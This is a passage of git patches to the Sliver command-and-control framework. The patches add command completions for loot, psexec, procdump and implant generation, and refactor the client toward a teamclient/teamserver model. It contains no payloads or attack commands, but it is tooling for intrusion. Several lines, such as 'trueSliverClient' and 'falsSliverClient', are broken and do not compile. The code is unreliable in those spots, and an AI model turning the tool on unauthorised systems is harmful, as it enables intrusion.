"github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" @@ -237,6 +238,7 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { }) flags.BindFlagCompletions(psExecCmd, func(comp *carapace.ActionMap) { (*comp)["custom-exe"] = carapace.ActionFiles() + (*comp)["profile"] = generate.ProfileNameCompleter(con) }) carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)")) diff --git a/client/command/extensions/commands.go b/client/command/extensions/commands.go index 7ee046d4c4..236f13e6ba 100644 --- a/client/command/extensions/commands.go +++ b/client/command/extensions/commands.go @@ -15,7 +15,7 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { Use: consts.ExtensionsStr, Short: "Manage extensions", Long: help.GetHelpFor([]string{consts.ExtensionsStr}), - GroupID: consts.ExtensionHelpGroup, + GroupID: consts.ExecutionHelpGroup, Run: func(cmd *cobra.Command, _ []string) { ExtensionsCmd(cmd, con) }, diff --git a/client/command/filesystem/commands.go b/client/command/filesystem/commands.go index 425527704a..78241cf6ce 100644 --- a/client/command/filesystem/commands.go +++ b/client/command/filesystem/commands.go @@ -7,6 +7,7 @@ import ( "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/loot" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" ) @@ -148,6 +149,10 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { f.BoolP("recurse", "r", false, "recursively download all files in a directory") f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) + flags.BindFlagCompletions(downloadCmd, func(comp *carapace.ActionMap) { + (*comp)["type"] = loot.LootTypeCompleter(con) + (*comp)["file-type"] = loot.FileTypeCompleter(con) + }) carapace.Gen(downloadCmd).PositionalCompletion( carapace.ActionValues().Usage("path to the file or directory to download"), carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"), diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index c30db8c28e..9bd4bdff95 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -67,6 +67,9 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { f.StringP("save", "s", "", "directory to save the generated stager to") f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)") }) + flags.BindFlagCompletions(generateStagerCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") + }) generateCmd.AddCommand(generateStagerCmd) generateInfoCmd := &cobra.Command{ @@ -327,6 +330,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverConsoleCl (*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy") (*comp)["format"] = FormatCompleter() (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") + (*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",") }) } diff --git a/client/command/hosts/commands.go b/client/command/hosts/commands.go index ca6573d325..e9a92634ef 100644 --- a/client/command/hosts/commands.go +++ b/client/command/hosts/commands.go @@ -55,5 +55,5 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { } hostsIOCCmd.AddCommand(hostsIOCRmCmd) - return []*cobra.Command{hostsCmd, hostsIOCCmd} + return []*cobra.Command{hostsCmd} } diff --git a/client/command/jobs/commands.go b/client/command/jobs/commands.go index d3564d2a2a..b5cb4f1bb3 100644 --- a/client/command/jobs/commands.go +++ b/client/command/jobs/commands.go @@ -136,6 +136,10 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { f.BoolP("persistent", "p", false, "make persistent across restarts") }) + flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) { + (*comp)["cert"] = carapace.ActionFiles().Tag("certificate file") + (*comp)["key"] = carapace.ActionFiles().Tag("key file") + }) // Staging listeners stageCmd := &cobra.Command{ diff --git a/client/command/loot/commands.go b/client/command/loot/commands.go index 4087ce6ed4..8b2368f4b5 100644 --- a/client/command/loot/commands.go +++ b/client/command/loot/commands.go @@ -45,8 +45,8 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { f.StringP("file-type", "F", "", "force a specific file type (binary/text)") }) flags.BindFlagCompletions(lootAddCmd, func(comp *carapace.ActionMap) { - (*comp)["type"] = carapace.ActionValues("file", "cred").Tag("loot type") - (*comp)["file-type"] = carapace.ActionValues("binary", "text").Tag("loot file type") + (*comp)["type"] = LootTypeCompleter(con) + (*comp)["file-type"] = FileTypeCompleter(con) }) carapace.Gen(lootAddCmd).PositionalCompletion( carapace.ActionFiles().Tag("local loot file").Usage("The local file path to the loot")) @@ -67,8 +67,8 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { f.StringP("file-type", "F", "", "force a specific file type (binary/text)") }) flags.BindFlagCompletions(lootRemoteCmd, func(comp *carapace.ActionMap) { - (*comp)["type"] = carapace.ActionValues("file", "cred").Tag("loot type") - (*comp)["file-type"] = carapace.ActionValues("binary", "text").Tag("loot file type") + (*comp)["type"] = LootTypeCompleter(con) + (*comp)["file-type"] = FileTypeCompleter(con) }) carapace.Gen(lootRemoteCmd).PositionalCompletion(carapace.ActionValues().Usage("The file path on the remote host to the loot")) @@ -97,6 +97,7 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { }) flags.BindFlagCompletions(lootFetchCmd, func(comp *carapace.ActionMap) { (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save loot") + (*comp)["filter"] = FileTypeCompleter(con) }) lootRmCmd := &cobra.Command{ @@ -111,6 +112,19 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { flags.Bind("loot", false, lootRmCmd, func(f *pflag.FlagSet) { f.StringP("filter", "f", "", "filter based on loot type") }) + flags.BindFlagCompletions(lootRmCmd, func(comp *carapace.ActionMap) { + (*comp)["filter"] = LootTypeCompleter(con) + }) return []*cobra.Command{lootCmd} } + +// FileTypeCompleter completes valid filetypes for loot. +func FileTypeCompleter(con *console.SliverConsoleClient) carapace.Action { + return carapace.ActionValues("binary", "text").Tag("loot file type") +} + +// LootTypeCompleter completes valid loot type for a loot. +func LootTypeCompleter(con *console.SliverConsoleClient) carapace.Action { + return carapace.ActionValues("file", "cred").Tag("loot type") +} diff --git a/client/command/processes/commands.go b/client/command/processes/commands.go index f844894b70..9fab3d63c5 100644 --- a/client/command/processes/commands.go +++ b/client/command/processes/commands.go @@ -52,6 +52,9 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) + flags.BindFlagCompletions(procdumpCmd, func(comp *carapace.ActionMap) { + (*comp)["save"] = carapace.ActionFiles() + }) terminateCmd := &cobra.Command{ Use: consts.TerminateStr, diff --git a/client/command/update/commands.go b/client/command/update/commands.go index 251d2c41f3..1f4f8cb0a9 100644 --- a/client/command/update/commands.go +++ b/client/command/update/commands.go @@ -1,9 +1,11 @@ package update import ( + "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" + "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" @@ -28,6 +30,9 @@ func Commands(con *console.SliverConsoleClient) []*cobra.Command { f.BoolP("insecure", "I", false, "skip tls certificate validation") f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) + flags.BindFlagCompletions(updateCmd, func(comp *carapace.ActionMap) { + (*comp)["proxy"] = completers.LocalProxyCompleter() + }) versionCmd := &cobra.Command{ Use: consts.VersionStr, From c3881b29be4fec893231987e411ebe734a83a435 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Wed, 19 Jul 2023 04:47:13 +0200 Subject: [PATCH 008/124] Successful use of teamserver/teamclient on first test --- client/cli/cli.go | 40 +++++---- client/cli/config.go | 71 --------------- client/cli/console.go | 65 ++------------ client/cli/implant.go | 13 ++- client/cli/import.go | 58 ------------ client/cli/teamclient.go | 57 ++++++++++++ client/cli/version.go | 3 +- client/console/console.go | 110 +++++++++++------------ server/cli/cli.go | 182 ++++++++++++++++++++++++++++---------- server/cli/teamserver.go | 83 +++++++++++++++++ server/console/console.go | 5 +- 11 files changed, 366 insertions(+), 321 deletions(-) delete mode 100644 client/cli/config.go delete mode 100644 client/cli/import.go create mode 100644 client/cli/teamclient.go create mode 100644 server/cli/teamserver.go diff --git a/client/cli/cli.go b/client/cli/cli.go index b36a37af99..e01c3021a7 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -24,11 +24,11 @@ import ( "os" "path" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/version" + "github.com/reeflective/team/client/commands" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) const ( @@ -37,7 +37,7 @@ const ( var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion()) -// Initialize logging +// Initialize logging. func initLogging(appDir string) *os.File { log.SetFlags(log.LstdFlags | log.Lshortfile) logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) @@ -49,19 +49,26 @@ func initLogging(appDir string) *os.File { } func init() { - rootCmd.TraverseChildren = true - // Create the console client, without any RPC or commands bound to it yet. // This created before anything so that multiple commands can make use of // the same underlying command/run infrastructure. con := console.NewConsole(false) - // Import - rootCmd.AddCommand(importCmd()) + // Teamclient API and commands for remote CLI. + teamclient := newSliverTeam(con) + teamclientCmds := commands.Generate(teamclient) + + // rootCmd.AddCommand(teamclientCmds) // Version rootCmd.AddCommand(cmdVersion) + preRun := func(_ *cobra.Command, _ []string) error { + return teamclient.Connect() + } + + rootCmd.PersistentPreRunE = preRun + // Client console. // All commands and RPC connection are generated WITHIN the command RunE(): // that means there should be no redundant command tree/RPC connections with @@ -75,20 +82,21 @@ func init() { // command completion/filtering purposes. rootCmd.AddCommand(implantCmd(con)) - // No subcommand invoked means starting the console. - rootCmd.RunE, rootCmd.PostRunE = consoleRunnerCmd(con, true) - // Completions - carapace.Gen(rootCmd) + comps := carapace.Gen(rootCmd) + comps.PreRun(func(cmd *cobra.Command, args []string) { + preRun(cmd, args) + }) } var rootCmd = &cobra.Command{ - Use: "sliver-client", - Short: "", - Long: ``, + Use: "sliver-client", + Short: "Client-only Sliver C2 management", + Long: ``, + TraverseChildren: true, } -// Execute - Execute root command +// Execute - Execute root command. func Execute() { if err := rootCmd.Execute(); err != nil { fmt.Println(err) diff --git a/client/cli/config.go b/client/cli/config.go deleted file mode 100644 index 71d858d3b3..0000000000 --- a/client/cli/config.go +++ /dev/null @@ -1,71 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - "sort" - - "github.com/bishopfox/sliver/client/assets" - - "gopkg.in/AlecAivazis/survey.v1" -) - -func selectConfig() *assets.ClientConfig { - configs := assets.GetConfigs() - - if len(configs) == 0 { - return nil - } - - if len(configs) == 1 { - for _, config := range configs { - return config - } - } - - answer := struct{ Config string }{} - qs := getPromptForConfigs(configs) - err := survey.Ask(qs, &answer) - if err != nil { - fmt.Println(err.Error()) - return nil - } - - return configs[answer.Config] -} - -func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question { - keys := []string{} - for k := range configs { - keys = append(keys, k) - } - sort.Strings(keys) - - return []*survey.Question{ - { - Name: "config", - Prompt: &survey.Select{ - Message: "Select a server:", - Options: keys, - Default: keys[0], - }, - }, - } -} diff --git a/client/cli/console.go b/client/cli/console.go index 67e208a382..cbd7b1ca16 100644 --- a/client/cli/console.go +++ b/client/cli/console.go @@ -1,73 +1,20 @@ package cli import ( - "fmt" - - "github.com/spf13/cobra" - "google.golang.org/grpc" - - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/console" - "github.com/bishopfox/sliver/client/transport" - "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/spf13/cobra" ) -// consoleCmd generates the console with required pre/post runners -func consoleCmd(con *console.SliverConsoleClient) *cobra.Command { +// consoleCmd generates the console with required pre/post runners. +func consoleCmd(con *console.SliverClient) *cobra.Command { consoleCmd := &cobra.Command{ Use: "console", Short: "Start the sliver client console", + RunE: func(cmd *cobra.Command, args []string) error { + return console.StartClient(con, command.ServerCommands(con, nil), command.SliverCommands(con), true) + }, } - consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true) - return consoleCmd } - -func consoleRunnerCmd(con *console.SliverConsoleClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) { - var ln *grpc.ClientConn - - pre = func(_ *cobra.Command, _ []string) error { - appDir := assets.GetRootAppDir() - logFile := initLogging(appDir) - defer logFile.Close() - - configs := assets.GetConfigs() - if len(configs) == 0 { - fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir()) - return nil - } - config := selectConfig() - if config == nil { - return nil - } - - // Don't clobber output when simply running an implant command from system shell. - if run { - fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort) - } - - var rpc rpcpb.SliverRPCClient - var err error - - rpc, ln, err = transport.MTLSConnect(config) - if err != nil { - fmt.Printf("Connection to server failed %s", err) - return nil - } - - return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run) - } - - // Close the RPC connection once exiting - post = func(_ *cobra.Command, _ []string) error { - if ln != nil { - return ln.Close() - } - - return nil - } - - return pre, post -} diff --git a/client/cli/implant.go b/client/cli/implant.go index 1f24db8ba8..61cea3af38 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -3,18 +3,17 @@ package cli import ( "errors" - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) func implantCmd(con *console.SliverConsoleClient) *cobra.Command { - con.IsCLI = true + con.IsCLI = trueSliverClient makeCommands := command.SliverCommands(con) cmd := makeCommands() @@ -35,7 +34,7 @@ func implantCmd(con *console.SliverConsoleClient) *cobra.Command { } func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (pre, post func(cmd *cobra.Command, args []string) error) { - startConsole, closeConsole := consoleRunnerCmd(con, false) + startConsole, closeConsole := consoleRunnerCmd(con, falsSliverClient // The pre-run function connects to the server and sets up a "fake" console, // so we can have access to active sessions/beacons, and other stuff needed. @@ -60,7 +59,7 @@ func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (p } func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) { - comps := carapace.Gen(cmd) + comps := carapace.Gen(cmd)SliverClient comps.PreRun(func(cmd *cobra.Command, args []string) { cmd.PersistentPreRunE(cmd, args) diff --git a/client/cli/import.go b/client/cli/import.go deleted file mode 100644 index b953916b27..0000000000 --- a/client/cli/import.go +++ /dev/null @@ -1,58 +0,0 @@ -package cli - -/* - Sliver Implant Framework - Copyright (C) 2020 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "fmt" - "os" - - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - - "github.com/bishopfox/sliver/client/assets" -) - -func importCmd() *cobra.Command { - cmdImport := &cobra.Command{ - Use: "import", - Short: "Import a client configuration file", - Long: `import [config files]`, - Run: func(cmd *cobra.Command, args []string) { - if 0 < len(args) { - for _, arg := range args { - conf, err := assets.ReadConfig(arg) - if err != nil { - fmt.Printf("[!] %s\n", err) - os.Exit(3) - } - assets.SaveConfig(conf) - } - } else { - fmt.Printf("Missing config file path, see --help") - } - }, - ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { - return []string{}, cobra.ShellCompDirectiveDefault - }, - } - - carapace.Gen(cmdImport).PositionalCompletion(carapace.ActionFiles().Tag("server configuration")) - - return cmdImport -} diff --git a/client/cli/teamclient.go b/client/cli/teamclient.go new file mode 100644 index 0000000000..e54e8e303d --- /dev/null +++ b/client/cli/teamclient.go @@ -0,0 +1,57 @@ +package cli + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/reeflective/team/client" + teamGrpc "github.com/reeflective/team/transports/grpc/client" + "google.golang.org/grpc" +) + +func newSliverTeam(con *console.SliverClient) *client.Client { + gTeamclient := teamGrpc.NewTeamClient() + + bindClient := func(clientConn any) error { + grpcClient, ok := clientConn.(*grpc.ClientConn) + if !ok || grpcClient == nil { + return errors.New("No gRPC client to use for service") + } + + con.Rpc = rpcpb.NewSliverRPCClient(grpcClient) + + return nil + } + + var clientOpts []client.Options + clientOpts = append(clientOpts, + client.WithDialer(gTeamclient, bindClient), + ) + + teamclient, err := client.New("sliver", gTeamclient, clientOpts...) + if err != nil { + // WARN: Remote this + panic(err) + } + + return teamclient +} diff --git a/client/cli/version.go b/client/cli/version.go index 24d640871a..89ad72e863 100644 --- a/client/cli/version.go +++ b/client/cli/version.go @@ -21,9 +21,8 @@ package cli import ( "fmt" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/version" + "github.com/spf13/cobra" ) var cmdVersion = &cobra.Command{ diff --git a/client/console/console.go b/client/console/console.go index fde4a37587..af67e17456 100644 --- a/client/console/console.go +++ b/client/console/console.go @@ -32,13 +32,6 @@ import ( "sync" "time" - "github.com/gofrs/uuid" - "github.com/reeflective/console" - "github.com/reeflective/readline" - "github.com/spf13/cobra" - "golang.org/x/exp/slog" - "google.golang.org/protobuf/proto" - "github.com/bishopfox/sliver/client/assets" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/core" @@ -48,6 +41,12 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/gofrs/uuid" + "github.com/reeflective/console" + "github.com/reeflective/readline" + "github.com/spf13/cobra" + "golang.org/x/exp/slog" + "google.golang.org/protobuf/proto" ) const ( @@ -55,7 +54,7 @@ const ( ) const ( - // ANSI Colors + // ANSI Colors. Normal = "\033[0m" Black = "\033[30m" Red = "\033[31m" @@ -71,25 +70,25 @@ const ( DownN = "\033[%dB" Underline = "\033[4m" - // Info - Display colorful information + // Info - Display colorful information. Info = Bold + Cyan + "[*] " + Normal - // Warn - Warn a user + // Warn - Warn a user. Warn = Bold + Red + "[!] " + Normal - // Debug - Display debug information + // Debug - Display debug information. Debug = Bold + Purple + "[-] " + Normal - // Woot - Display success + // Woot - Display success. Woot = Bold + Green + "[$] " + Normal - // Success - Diplay success + // Success - Diplay success. Success = Bold + Green + "[+] " + Normal ) -// Observer - A function to call when the sessions changes +// Observer - A function to call when the sessions changes. type ( Observer func(*clientpb.Session, *clientpb.Beacon) BeaconTaskCallback func(*clientpb.BeaconTask) ) -type SliverConsoleClient struct { +type SliverClient struct { App *console.Console Rpc rpcpb.SliverRPCClient ActiveTarget *ActiveTarget @@ -107,11 +106,11 @@ type SliverConsoleClient struct { // NewConsole creates the sliver client (and console), creating menus and prompts. // The returned console does neither have commands nor a working RPC connection yet, // thus has not started monitoring any server events, or started the application. -func NewConsole(isServer bool) *SliverConsoleClient { +func NewConsole(isServer bool) *SliverClient { assets.Setup(false, false) settings, _ := assets.LoadSettings() - con := &SliverConsoleClient{ + con := &SliverClient{ App: console.New("sliver"), ActiveTarget: &ActiveTarget{ observers: map[int]Observer{}, @@ -161,8 +160,7 @@ func NewConsole(isServer bool) *SliverConsoleClient { // Init requires a working RPC connection to the sliver server, and 2 different sets of commands. // If run is true, the console application is started, making this call blocking. Otherwise, commands and // RPC connection are bound to the console (making the console ready to run), but the console does not start. -func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds, sliverCmds console.Commands, run bool) error { - con.Rpc = rpc +func StartClient(con *SliverClient, serverCmds, sliverCmds console.Commands, run bool) error { con.IsCLI = !run // The console application needs to query the terminal for cursor positions @@ -184,7 +182,7 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds // Events go con.startEventLoop() - go core.TunnelLoop(rpc) + go core.TunnelLoop(con.Rpc) // console logger if con.Settings.ConsoleLogs { @@ -212,7 +210,7 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds return nil } -func (con *SliverConsoleClient) startEventLoop() { +func (con *SliverClient) startEventLoop() { eventStream, err := con.Rpc.Events(context.Background(), &commonpb.Empty{}) if err != nil { fmt.Printf(Warn+"%s\n", err) @@ -328,23 +326,23 @@ func (con *SliverConsoleClient) startEventLoop() { } } -// CreateEventListener - creates a new event listener and returns its ID -func (con *SliverConsoleClient) CreateEventListener() (string, <-chan *clientpb.Event) { +// CreateEventListener - creates a new event listener and returns its ID. +func (con *SliverClient) CreateEventListener() (string, <-chan *clientpb.Event) { listener := make(chan *clientpb.Event, 100) listenerID, _ := uuid.NewV4() con.EventListeners.Store(listenerID.String(), listener) return listenerID.String(), listener } -// RemoveEventListener - removes an event listener given its id -func (con *SliverConsoleClient) RemoveEventListener(listenerID string) { +// RemoveEventListener - removes an event listener given its id. +func (con *SliverClient) RemoveEventListener(listenerID string) { value, ok := con.EventListeners.LoadAndDelete(listenerID) if ok { close(value.(chan *clientpb.Event)) } } -func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) { +func (con *SliverClient) triggerEventListeners(event *clientpb.Event) { con.EventListeners.Range(func(key, value interface{}) bool { listener := value.(chan *clientpb.Event) listener <- event // Do not block while sending the event to the listener @@ -352,7 +350,7 @@ func (con *SliverConsoleClient) triggerEventListeners(event *clientpb.Event) { }) } -func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) { +func (con *SliverClient) triggerReactions(event *clientpb.Event) { reactions := core.Reactions.On(event.EventType) if len(reactions) == 0 { return @@ -388,8 +386,8 @@ func (con *SliverConsoleClient) triggerReactions(event *clientpb.Event) { } } -// triggerBeaconTaskCallback - Triggers the callback for a beacon task -func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) { +// triggerBeaconTaskCallback - Triggers the callback for a beacon task. +func (con *SliverClient) triggerBeaconTaskCallback(data []byte) { task := &clientpb.BeaconTask{} err := proto.Unmarshal(data, task) if err != nil { @@ -424,13 +422,13 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) { } } -func (con *SliverConsoleClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) { +func (con *SliverClient) AddBeaconCallback(taskID string, callback BeaconTaskCallback) { con.BeaconTaskCallbacksMutex.Lock() defer con.BeaconTaskCallbacksMutex.Unlock() con.BeaconTaskCallbacks[taskID] = callback } -func (con *SliverConsoleClient) GetPrompt() string { +func (con *SliverClient) GetPrompt() string { prompt := Underline + "sliver" + Normal if con.IsServer { prompt = Bold + "[server] " + Normal + Underline + "sliver" + Normal @@ -444,7 +442,7 @@ func (con *SliverConsoleClient) GetPrompt() string { return Clearln + prompt } -func (con *SliverConsoleClient) PrintLogo() { +func (con *SliverClient) PrintLogo() { serverVer, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) if err != nil { panic(err.Error()) @@ -469,7 +467,7 @@ func (con *SliverConsoleClient) PrintLogo() { con.CheckLastUpdate() } -func (con *SliverConsoleClient) CheckLastUpdate() { +func (con *SliverClient) CheckLastUpdate() { now := time.Now() lastUpdate := getLastUpdateCheck() compiledAt, err := version.Compiled() @@ -503,7 +501,7 @@ func getLastUpdateCheck() *time.Time { return &lastUpdate } -func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session { +func (con *SliverClient) GetSession(arg string) *clientpb.Session { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { con.PrintWarnf("%s", err) @@ -517,8 +515,8 @@ func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session { return nil } -// GetSessionsByName - Return all sessions for an Implant by name -func (con *SliverConsoleClient) GetSessionsByName(name string) []*clientpb.Session { +// GetSessionsByName - Return all sessions for an Implant by name. +func (con *SliverClient) GetSessionsByName(name string) []*clientpb.Session { sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{}) if err != nil { fmt.Printf(Warn+"%s\n", err) @@ -534,8 +532,8 @@ func (con *SliverConsoleClient) GetSessionsByName(name string) []*clientpb.Sessi } // GetActiveSessionConfig - Get the active sessions's config -// TODO: Switch to query config based on ConfigID -func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig { +// TODO: Switch to query config based on ConfigID. +func (con *SliverClient) GetActiveSessionConfig() *clientpb.ImplantConfig { session := con.ActiveTarget.GetSession() if session == nil { return nil @@ -562,7 +560,7 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig } // exitConsole prompts the user for confirmation to exit the console. -func (c *SliverConsoleClient) exitConsole(_ *console.Console) { +func (c *SliverClient) exitConsole(_ *console.Console) { reader := bufio.NewReader(os.Stdin) fmt.Print("Confirm exit (Y/y, Ctrl-C): ") text, _ := reader.ReadString('\n') @@ -574,18 +572,18 @@ func (c *SliverConsoleClient) exitConsole(_ *console.Console) { } // exitImplantMenu uses the background command to detach from the implant menu. -func (c *SliverConsoleClient) exitImplantMenu(_ *console.Console) { +func (c *SliverClient) exitImplantMenu(_ *console.Console) { root := c.App.Menu(consts.ImplantMenu).Command root.SetArgs([]string{"background"}) root.Execute() } -func (con *SliverConsoleClient) SpinUntil(message string, ctrl chan bool) { +func (con *SliverClient) SpinUntil(message string, ctrl chan bool) { go spin.Until(os.Stdout, message, ctrl) } -// FormatDateDelta - Generate formatted date string of the time delta between then and now -func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string { +// FormatDateDelta - Generate formatted date string of the time delta between then and now. +func (con *SliverClient) FormatDateDelta(t time.Time, includeDate bool, color bool) string { nextTime := t.Format(time.UnixDate) var interval string @@ -612,8 +610,8 @@ func (con *SliverConsoleClient) FormatDateDelta(t time.Time, includeDate bool, c return interval } -// GrpcContext - Generate a context for a GRPC request, if no grumble context or an invalid flag is provided 60 seconds is used instead -func (con *SliverConsoleClient) GrpcContext(cmd *cobra.Command) (context.Context, context.CancelFunc) { +// GrpcContext - Generate a context for a GRPC request, if no grumble context or an invalid flag is provided 60 seconds is used instead. +func (con *SliverClient) GrpcContext(cmd *cobra.Command) (context.Context, context.CancelFunc) { if cmd == nil { return context.WithTimeout(context.Background(), 60*time.Second) } @@ -635,10 +633,10 @@ type ActiveTarget struct { beacon *clientpb.Beacon observers map[int]Observer observerID int - con *SliverConsoleClient + con *SliverClient } -// GetSessionInteractive - Get the active target(s) +// GetSessionInteractive - Get the active target(s). func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) { if s.session == nil && s.beacon == nil { fmt.Printf(Warn + "Please select a session or beacon via `use`\n") @@ -647,12 +645,12 @@ func (s *ActiveTarget) GetInteractive() (*clientpb.Session, *clientpb.Beacon) { return s.session, s.beacon } -// GetSessionInteractive - Get the active target(s) +// GetSessionInteractive - Get the active target(s). func (s *ActiveTarget) Get() (*clientpb.Session, *clientpb.Beacon) { return s.session, s.beacon } -// GetSessionInteractive - GetSessionInteractive the active session +// GetSessionInteractive - GetSessionInteractive the active session. func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session { if s.session == nil { fmt.Printf(Warn + "Please select a session via `use`\n") @@ -661,12 +659,12 @@ func (s *ActiveTarget) GetSessionInteractive() *clientpb.Session { return s.session } -// GetSession - Same as GetSession() but doesn't print a warning +// GetSession - Same as GetSession() but doesn't print a warning. func (s *ActiveTarget) GetSession() *clientpb.Session { return s.session } -// GetBeaconInteractive - Get beacon interactive the active session +// GetBeaconInteractive - Get beacon interactive the active session. func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon { if s.beacon == nil { fmt.Printf(Warn + "Please select a beacon via `use`\n") @@ -675,7 +673,7 @@ func (s *ActiveTarget) GetBeaconInteractive() *clientpb.Beacon { return s.beacon } -// GetBeacon - Same as GetBeacon() but doesn't print a warning +// GetBeacon - Same as GetBeacon() but doesn't print a warning. func (s *ActiveTarget) 